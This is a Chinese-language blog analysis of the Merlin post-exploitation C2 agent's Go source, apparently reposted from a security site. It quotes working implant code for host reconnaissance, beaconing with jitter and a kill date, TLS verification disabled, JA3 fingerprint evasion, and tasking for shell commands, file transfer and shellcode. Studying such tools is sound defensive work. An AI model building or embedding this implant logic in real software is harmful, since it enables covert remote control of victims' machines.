Merlin的魔法——一款后渗透C&C平台分析之一 | xxxMerlin的魔法——一款后渗透C&C平台分析之一 – xxx
菜单

Merlin的魔法——一款后渗透C&C平台分析之一

十二月 30, 2021 - 安全客

Merlin的魔法——一款后渗透C&C平台分析之一

 

0x01 前言

Merlin is a post-exploit Command & Control (C2) tool, also known as a Remote Access Tool (RAT), that communicates using the HTTP/1.1, HTTP/2, and HTTP/3 protocols. HTTP/3 is the combination of HTTP/2 over the Quick UDP Internet Connections (QUIC) protocol. This tool was the result of my work evaluating HTTP/2 in a paper titled Practical Approach to Detecting and Preventing Web Application Attacks over HTTP/2.

Merlin 是一款以Go语言开发的 RAT 软件,由于Go自身优异的跨平台特性也使得 Merlin 天然的就具备了跨平台的优势,出于对 Go 语言学习的想法以及对 Merlin 实现机制的好奇,在这里简单的分析一下 Merlin 的代码实现,出于篇幅以及思路的考虑,本文以对 Merlin Agent 的分析为主,下篇文章分析 Merlin Server 的实现。

 

0x02 代码分析

talk is cheap, show me the code

0x1 依赖

go 1.16    require (      github.com/CUCyber/ja3transport v0.0.0-20201031204932-8a22ac8ab5d7 // indirect        github.com/Ne0nd0g/go-clr v1.0.1      github.com/Ne0nd0g/ja3transport v0.0.0-20200203013218-e81e31892d84      github.com/Ne0nd0g/merlin v1.1.0        github.com/cretz/gopaque v0.1.0      github.com/fatih/color v1.10.0      github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510      github.com/lucas-clemente/quic-go v0.24.0      github.com/satori/go.uuid v1.2.0        golang.org/x/crypto v0.0.0-20211209193657-4570a0811e8b      golang.org/x/net v0.0.0-20211209124913-491a49abca63      golang.org/x/sys v0.0.0-20211015200801-69063c4bb744      gopkg.in/square/go-jose.v2 v2.3.1  )  

​ 从mod文件中可知 merlin agent 是基于 go 1.16 版本进行编写的,剩下的就是 agent 所依赖的一些库了,排除标准库以及自身的一些库,简单看一下引入的这些库的大致功能

0x2 主要逻辑

Merlin的魔法——一款后渗透C&C平台分析之一

// usage prints command line options  func usage()  // getArgsFromStdIn reads from STDIN an  func getArgsFromStdIn(input chan string)  func main()  

​ 主要由以上三个方法构成,其中 main 方法是分析的重点,main中主要完成了三项工作:

下面从这三个方面来看 main 的代码逻辑

1. 获取运行参数

if len(os.Args) <= 1 {      input := make(chan string, 1)      var stdin string      go getArgsFromStdIn(input)        // 启动协程从STDIN中读取数据        select {          case i := <-input:          stdin = i          case <-time.After(500 * time.Millisecond):          close(input)          err := os.Stdin.Close()          if err != nil && *verbose {              color.Red(fmt.Sprintf("there was an error closing STDIN: %s", err))          }          break      }        args, err := shlex.Split(stdin)      if err == nil && len(args) > 0 {          os.Args = append(os.Args, args...)      }  }  

​ 使用 flag 库对参数进行解析,这里作者增加了在启动时没有附加参数而是直接从STDIN中获取参数的处理,且只等待500ms,如果在500ms内没有读取到数据的话就直接超时,开始以默认参数执行。从这段代码中可以抽象出 go 的 channel 超时的处理方式

package main    import (      "fmt"      "math/rand"      "time"  )    func main(){      rand.Seed(time.Now().UnixNano())      input := make(chan string, 1)      go func() {          t := rand.Intn(5)          time.Sleep(time.Duration(t)*time.Second)          input<-"sleep......."      }()      select{      case i:= <-input:          fmt.Println(i)      case <-time.After(3*time.Second):          fmt.Println("timeout!")      }  }  

2. 获取主机信息并构建struct

agent.Config 主要获取了四个参数。之后的a, err:=agent.New(agentConfig) 也是用来填充参数的,这里为什么要单独将这四个参数抽离出来形成一个结构体呢?

    agentConfig := agent.Config{          Sleep:    sleep,          Skew:     skew,          KillDate: killdate,          MaxRetry: maxretry,      }  

​ 在跟进 agent.New方法进行对比之后就不难发现,agent.Config中的参数是 Merlin agent 自身运行时所需的运行信息,agent.New 中主要获取及填充的是Host相关信息。根据信息归属的不同,将agent自身运行时信息组织为了一个单独的struct。

agent.New 进行简化(折叠错误处理部分)可得到如下代码,初始化完成了 Agent 结构体中Host部分。

func New(config Config) (*Agent, error) {      cli.Message(cli.DEBUG, "Entering agent.New() function")        agent := Agent{          ID:           uuid.NewV4(),        // 标示当前agent          Platform:     runtime.GOOS,        // 系统类型          Architecture: runtime.GOARCH,    // 架构          Pid:          os.Getpid(),        // 进程pid          Version:      core.Version,        // 系统详细版本          Initial:      false,      }        rand.Seed(time.Now().UnixNano())        u, errU := user.Current()        // 获取当前用户信息      agent.UserName = u.Username        // 用户名      agent.UserGUID = u.Gid            // GUID信息        h, errH := os.Hostname()        // Host信息      agent.HostName = h        proc, errP := os.Executable()    // 当前执行路径信息      agent.Process = proc        interfaces, errI := net.Interfaces()    // 网卡信息        for _, iface := range interfaces {        // 遍历获取到的网卡,保存IP地址信息          addrs, err := iface.Addrs()          for _, addr := range addrs {              agent.Ips = append(agent.Ips, addr.String())          }      }        // Parse config      var err error      // Parse KillDate      if config.KillDate != "" {        // 终止日期          agent.KillDate, err = strconv.ParseInt(config.KillDate, 10, 64)      } else {          agent.KillDate = 0      }      // Parse MaxRetry      if config.MaxRetry != "" {        // 当连接不到Server时尝试次数          agent.MaxRetry, err = strconv.Atoi(config.MaxRetry)      } else {          agent.MaxRetry = 7      }      // Parse Sleep      if config.Sleep != "" {            // 回连Server前休眠时间          agent.WaitTime, err = time.ParseDuration(config.Sleep)      } else {          agent.WaitTime = 30000 * time.Millisecond      }      // Parse Skew      if config.Skew != "" {            // 在每次Sleep后增加间隔时间          agent.Skew, err = strconv.ParseInt(config.Skew, 10, 64)      } else {          agent.Skew = 3000      }      ...        return &agent, nil  }  

​ 在获取完毕主机相关的信息后,agent 就开始初始化用于网络通信相关的struct了,http.New 为该部分的实现代码,同样折叠错误处理相关代码后如下:

func New(config Config) (*Client, error) {      client := Client{        // 填充不需要特殊处理的参数          AgentID:   config.AgentID,          URL:       config.URL,          UserAgent: config.UserAgent,          Host:      config.Host,          Protocol:  config.Protocol,          Proxy:     config.Proxy,          JA3:       config.JA3,          psk:       config.PSK,      }        // Set secret for JWT and JWE encryption key from PSK      k := sha256.Sum256([]byte(client.psk))        // 根据PSK生成用于JWT加密的key      client.secret = k[:]        //Convert Padding from string to an integer      if config.Padding != "" {          client.PaddingMax, err = strconv.Atoi(config.Padding)      } else {          client.PaddingMax = 0      }        // Parse additional HTTP Headers      if config.Headers != "" {        // 设置用户自定义的Header信息          client.Headers = make(map[string]string)          for _, header := range strings.Split(config.Headers, "\n") {              h := strings.Split(header, ":")              // Remove leading or trailing spaces              headerKey := strings.TrimSuffix(strings.TrimPrefix(h[0], " "), " ")              headerValue := strings.TrimSuffix(strings.TrimPrefix(h[1], " "), " ")              client.Headers[headerKey] = headerValue          }      }        // Get the HTTP client      client.Client, err = getClient(client.Protocol, client.Proxy, client.JA3) // 初始化用于实际与Server连接的结构 HTTP client        return &client, nil  }  

http.New 其实更像是一个wrapper方法,在进行struct的填充之后,获取HTTP client的操作实际上是由 http.getClient 完成的。

func getClient(protocol string, proxyURL string, ja3 string) (*http.Client, error) {      // G402: TLS InsecureSkipVerify set true. (Confidence: HIGH, Severity: HIGH) Allowed for testing      // Setup TLS configuration      // TLS设置,skip 证书检查      TLSConfig := &tls.Config{          MinVersion:         tls.VersionTLS12,          InsecureSkipVerify: true, // #nosec G402 - see https://github.com/Ne0nd0g/merlin/issues/59 TODO fix this          CipherSuites: []uint16{            // 这里专门指定了CipherSuites应该是出于信道安全性考虑              tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,              tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,          },      }        // Proxy      var proxy func(*http.Request) (*url.URL, error)      if proxyURL != "" {          rawURL, errProxy := url.Parse(proxyURL)        // 解析proxy链接          proxy = http.ProxyURL(rawURL)                // 设置http代理      } else {          // Check for, and use, HTTP_PROXY, HTTPS_PROXY and NO_PROXY environment variables          proxy = http.ProxyFromEnvironment            // 如果没有指定代理则走系统代理      }        // JA3      if ja3 != "" {    // 如果设置了JA3的话,后续使用ja3transport提供能功能来进行通信,主要用于规避基于JA3算法的TLS指纹识别          JA3, errJA3 := ja3transport.NewWithStringInsecure(ja3)          tr, err := ja3transport.NewTransportInsecure(ja3)          // Set proxy          if proxyURL != "" {              tr.Proxy = proxy          }            JA3.Transport = tr            return JA3.Client, nil      }        var transport http.RoundTripper      switch strings.ToLower(protocol) {//根据传入的不同的protocol参数初始化对应的Transport      case "http3":          TLSConfig.NextProtos = []string{"h3"} // https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml#alpn-protocol-ids          transport = &http3.RoundTripper{              QuicConfig: &quic.Config{                  // Opted for a long timeout to prevent the client from sending a PING Frame                  // If MaxIdleTimeout is too high, agent will never get an error if the server is off line and will perpetually run without exiting because MaxFailedCheckins is never incremented                  //MaxIdleTimeout: time.Until(time.Now().AddDate(0, 42, 0)),                  MaxIdleTimeout: time.Second * 30,                  // KeepAlive will send a HTTP/2 PING frame to keep the connection alive                  // If this isn't used, and the agent's sleep is greater than the MaxIdleTimeout, then the connection will timeout                  KeepAlive: true,                  // HandshakeIdleTimeout is how long the client will wait to hear back while setting up the initial crypto handshake w/ server                  HandshakeIdleTimeout: time.Second * 30,              },              TLSClientConfig: TLSConfig,          }      case "h2":          TLSConfig.NextProtos = []string{"h2"} // https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml#alpn-protocol-ids          transport = &http2.Transport{              TLSClientConfig: TLSConfig,          }      case "h2c":          transport = &http2.Transport{              AllowHTTP: true,              DialTLS: func(network, addr string, cfg *tls.Config) (net.Conn, error) {                  return net.Dial(network, addr)              },          }      case "https":          TLSConfig.NextProtos = []string{"http/1.1"} // https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml#alpn-protocol-ids          transport = &http.Transport{              TLSClientConfig: TLSConfig,              MaxIdleConns:    10,              Proxy:           proxy,              IdleConnTimeout: 1 * time.Nanosecond,          }      case "http":          transport = &http.Transport{              MaxIdleConns:    10,              Proxy:           proxy,              IdleConnTimeout: 1 * time.Nanosecond,          }      default:          return nil, fmt.Errorf("%s is not a valid client protocol", protocol)      }      return &http.Client{Transport: transport}, nil  }  

3. 运行主逻辑

Merlin的魔法——一款后渗透C&amp;C平台分析之一

在初始化完成了各项信息之后,就正式来到了Run()方法,go和许多其他面向对象的语言不同,它可以将方法绑定到除了指针类型和接口类型的任何类型上。

func (a *Agent) Run() {      rand.Seed(time.Now().UTC().UnixNano())      for {          // Verify the agent's kill date hasn't been exceeded          if (a.KillDate != 0) && (time.Now().Unix() >= a.KillDate) {    // 判断是否到了自毁时间              os.Exit(0)          }          // Check in          if a.Initial {        // 心跳包              a.statusCheckIn()          } else {              msg, err := a.Client.Initial(a.getAgentInfoMessage())    // 在Server端上线              if err != nil {                  a.FailedCheckin++              } else {                  a.messageHandler(msg)                  a.Initial = true                  a.iCheckIn = time.Now().UTC()              }          }          // Determine if the max number of failed checkins has been reached          if a.FailedCheckin >= a.MaxRetry {        // 当尝试上线失败次数到达maxtry时直接退出              os.Exit(0)          }          // Sleep          var sleep time.Duration          if a.Skew > 0 {        // 为休眠时间增加随机性              sleep = a.WaitTime + (time.Duration(rand.Int63n(a.Skew)) * time.Millisecond) // #nosec G404 - Does not need to be cryptographically secure, deterministic is OK          } else {              sleep = a.WaitTime          }          time.Sleep(sleep)      }  }  

​ 首先来查看 Client 是如何上线的:
​ 通过getAgentInfoMessage()将获取到的信息打包为 messages.AgentInfo 结构体准备传输。

// SysInfo is a JSON payload containing information about the system where the agent is running  type SysInfo struct {      Platform     string   `json:"platform,omitempty"`      Architecture string   `json:"architecture,omitempty"`      UserName     string   `json:"username,omitempty"`      UserGUID     string   `json:"userguid,omitempty"`      HostName     string   `json:"hostname,omitempty"`      Process      string   `json:"process,omitempty"`      Pid          int      `json:"pid,omitempty"`      Ips          []string `json:"ips,omitempty"`      Domain       string   `json:"domain,omitempty"`  }    // AgentInfo is a JSON payload containing information about the agent and its configuration  type AgentInfo struct {      Version       string  `json:"version,omitempty"`      Build         string  `json:"build,omitempty"`      WaitTime      string  `json:"waittime,omitempty"`      PaddingMax    int     `json:"paddingmax,omitempty"`      MaxRetry      int     `json:"maxretry,omitempty"`      FailedCheckin int     `json:"failedcheckin,omitempty"`      Skew          int64   `json:"skew,omitempty"`      Proto         string  `json:"proto,omitempty"`      SysInfo       SysInfo `json:"sysinfo,omitempty"`      KillDate      int64   `json:"killdate,omitempty"`      JA3           string  `json:"ja3,omitempty"`  }  

Client.Init 只是一个wrapper 方法

// Initial executes the specific steps required to establish a connection with the C2 server and checkin or register an agent  func (client *Client) Initial(agent messages.AgentInfo) (messages.Base, error) {      // Authenticate      return client.Auth("opaque", true)  }    // Auth is the top-level function used to authenticate an agent to server using a specific authentication protocol  // register is specific to OPAQUE where the agent must register with the server before it can authenticate  func (client *Client) Auth(auth string, register bool) (messages.Base, error) {      switch strings.ToLower(auth) {      case "opaque":        // 目前只支持 opaque 这一种认证方式,但是作者已经为之后的扩展做好了准备          return client.opaqueAuth(register)      default:          return messages.Base{}, fmt.Errorf("unknown authentication type: %s", auth)      }    }  

client.opaqueAuth 如果已经通过 client.opaqueRegister 进行在 C2 进行注册过了,那么将通过client.opaqueAuthenticate 进行认证,最终返回认证后的结果。

// opaqueAuth is the top-level function that subsequently runs OPAQUE registration and authentication  func (client *Client) opaqueAuth(register bool) (messages.Base, error) {      cli.Message(cli.DEBUG, "Entering into clients.http.opaqueAuth()...")        // Set, or reset, the secret used for JWT & JWE encryption key from PSK      k := sha256.Sum256([]byte(client.psk))      client.secret = k[:]        // OPAQUE Registration      if register { // If the client has previously registered, then this will not be empty          // Reset the OPAQUE User structure for when the Agent previously successfully authenticated          // but the Agent needs to re-register with a new server          if client.opaque != nil {              if client.opaque.Kex != nil { // Only exists after successful authentication which occurs after registration                  client.opaque = nil              }          }          // OPAQUE Registration steps          err := client.opaqueRegister()          if err != nil {              return messages.Base{}, fmt.Errorf("there was an error performing OPAQUE User Registration:rn%s", err)          }      }        // OPAQUE Authentication steps      msg, err := client.opaqueAuthenticate()      if err != nil {          return msg, fmt.Errorf("there was an error performing OPAQUE User Authentication:rn%s", err)      }      // The OPAQUE derived Diffie-Hellman secret      client.secret = []byte(client.opaque.Kex.SharedSecret.String())        return msg, nil  }  

通过 OPAQUE 认证后的结果通过 Agent.messageHandler进行处理,根据 Server 返回的控制数据将 job送入JobHandler中。

对于 message 而言有三种状态

// messageHandler processes an input message from the server and adds it to the job channel for processing by the agent  func (a *Agent) messageHandler(m messages.Base) {      if m.ID != a.ID {          cli.Message(cli.WARN, fmt.Sprintf("Input message was not for this agent (%s):rn%+v", a.ID, m))      }        var result jobs.Results      switch m.Type {      case messages.JOBS:          a.jobHandler(m.Payload.([]jobs.Job)) // 认证正常情况下处理C2发送过来的jobs      case messages.IDLE:          cli.Message(cli.NOTE, "Received idle command, doing nothing")      case messages.OPAQUE:        // 如果认证失败则进行再次认证          if m.Payload.(opaque.Opaque).Type == opaque.ReAuthenticate {              cli.Message(cli.NOTE, "Received re-authentication request")              // Re-authenticate, but do not re-register              msg, err := a.Client.Auth("opaque", false)        // 递归进行认证              if err != nil {                  a.FailedCheckin++                  result.Stderr = err.Error()                  jobsOut <- jobs.Job{                      AgentID: a.ID,                      Type:    jobs.RESULT,                      Payload: result,                  }              }              a.messageHandler(msg)          }      default:          result.Stderr = fmt.Sprintf("%s is not a valid message type", messages.String(m.Type))          jobsOut <- jobs.Job{              AgentID: m.ID,              Type:    jobs.RESULT,              Payload: result,          }      }      cli.Message(cli.DEBUG, "Leaving agent.messageHandler function without error")  }  

如果已经在 Server 处注册过了,则在每次循环的时候直接走 statusCheckIn 逻辑

// statusCheckIn is the function that agent runs at every sleep/skew interval to check in with the server for jobs  func (a *Agent) statusCheckIn() {      msg := getJobs() // 获取已经执行完毕的 jobs 的结果      msg.ID = a.ID        j, reqErr := a.Client.SendMerlinMessage(msg) // 向 Server 发送结果信息        if reqErr != nil {          a.FailedCheckin++          // Put the jobs back into the queue if there was an error          if msg.Type == messages.JOBS {              a.messageHandler(msg)          }          return      }        a.FailedCheckin = 0      a.sCheckIn = time.Now().UTC()    // 更新 last 心跳包时间      // Handle message      a.messageHandler(j)    // 处理 Server 的控制信息    }  

0x3 Job相关实现

Job处理的主要逻辑抽象如下:

                    channel                channel  jobHandler --------> executeJob -------> getJobs                      传入参数              获取结果  

1. Job处理

在基本澄清骨架逻辑之后,下面把精力放在 agent 对 Job 的处理及结果获取上,首先是 Job 的处理,agent从message中取得Server下发的Job信息后传入 jobHandler 中进行处理。

// jobHandler takes a list of jobs and places them into job channel if they are a valid type  func (a *Agent) jobHandler(Jobs []jobs.Job) {      for _, job := range Jobs {          // If the job belongs to this agent          if job.AgentID == a.ID {    // check 下发的任务是否是给自身的              switch job.Type {              case jobs.FILETRANSFER:    // 文件传输                  jobsIn <- job              case jobs.CONTROL:        // 控制信息处理                  a.control(job)              case jobs.CMD:            // 执行命令                  jobsIn <- job              case jobs.MODULE:        // 加载模块                  jobsIn <- job              case jobs.SHELLCODE:    // 加载shellcode                  cli.Message(cli.NOTE, "Received Execute shellcode command")                  jobsIn <- job              case jobs.NATIVE:        // 常见命令处理                  jobsIn <- job              default:                  var result jobs.Results                  result.Stderr = fmt.Sprintf("%s is not a valid job type", messages.String(job.Type))                  jobsOut <- jobs.Job{                      ID:      job.ID,                      AgentID: a.ID,                      Token:   job.Token,                      Type:    jobs.RESULT,                      Payload: result,                  }              }          }      }  }  

jobHandler 实际上起到一个 dispatcher 的作用,根据 Job 类型的不同,调用不同的处理方法(将信息通过channel进行传输),大部分处理都由 executeJob 进行处理,实现了control 方法来对jobs.CONTROL 进行处理:修改 Agent 结构体内的各类信息。由于Merlin agent实现了大量的功能,受篇幅所限,这里重点关注一下文件上传、下载,命令执行的功能。

命令执行

shell和单条命令执行底层都是基于 exec.Command 进行执行并获取结果,不同的是shell方式是用 exec.Command 调用 /bin/sh -c 最终执行的命令

if cmd.Command == "shell" {      results.Stdout, results.Stderr = shell(cmd.Args)  } else {      results.Stdout, results.Stderr = executeCommand(cmd.Command, cmd.Args)  }  

文件上传下载

代码主要位于 commands/download.gocommands/upload.go 中,逻辑主体可以抽象为以下步骤:

文件下载:

文件上传:

2. Job结果获取

Job获取主要由 jobs/getJobs 来进行处理的,通过循环对 jobsOut 的channel 进行check,获取到数据后封装为 msg struct 进行发送。

// Check the output channel  var returnJobs []jobs.Job  for {      if len(jobsOut) > 0 {          job := <-jobsOut          returnJobs = append(returnJobs, job)      } else {          break      }  }  if len(returnJobs) > 0 {      msg.Type = messages.JOBS      msg.Payload = returnJobs  } else {      // There are 0 jobs results to return, just checkin      msg.Type = messages.CHECKIN  }  return msg  

0x4 msg 发送及接收

merlin 的数据发送接收都是通过 SendMerlinMessage 完成的,具体过程可抽象为如下代码:

// SendMerlinMessage takes in a Merlin message structure, performs any encoding or encryption, and sends it to the server  // The function also decodes and decrypts response messages and return a Merlin message structure.  // This is where the client's logic is for communicating with the server.  func (client *Client) SendMerlinMessage(m messages.Base) (messages.Base, error) {      // 获取 JWE,gob编码      req, reqErr := http.NewRequest("POST", client.URL[client.currentURL], jweBytes)      // 设置 Header 信息      resp, err := client.Client.Do(req)       switch resp.StatusCode {      case 200:          break      case 401:          return client.Auth("opaque", true)      default:          return returnMessage, fmt.Errorf("there was an error communicating with the server:rn%d", resp.StatusCode)      }      contentType := resp.Header.Get("Content-Type")      // Check to make sure the response contains the application/octet-stream Content-Type header      isOctet := false      for _, v := range strings.Split(contentType, ",") {          if strings.ToLower(v) == "application/octet-stream" {              isOctet = true          }      }      // gob解码,JWT解密 message body 数据      return respMessage, nil  }  

 

0x03 结语

对merlin agent的分析断断续续持续了一周的时间,最开始有分析的想法时没想到能把时间线拉的如此漫长,不过好在最后也算是对agent有了一个基础的了解,将主要的部分也算是雨露均沾了,在agent中其实还有许多有意思的技术点没有分析到,后续有时间的话再来填坑吧,如有分析的不当之处,恳请各位师傅指正。

 

参考资料

https://www.jianshu.com/p/b6ae3f85c683

https://github.com/Ne0nd0g/merlin-agent

https://merlin-c2.readthedocs.io/en/latest/agent/cli.html


Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51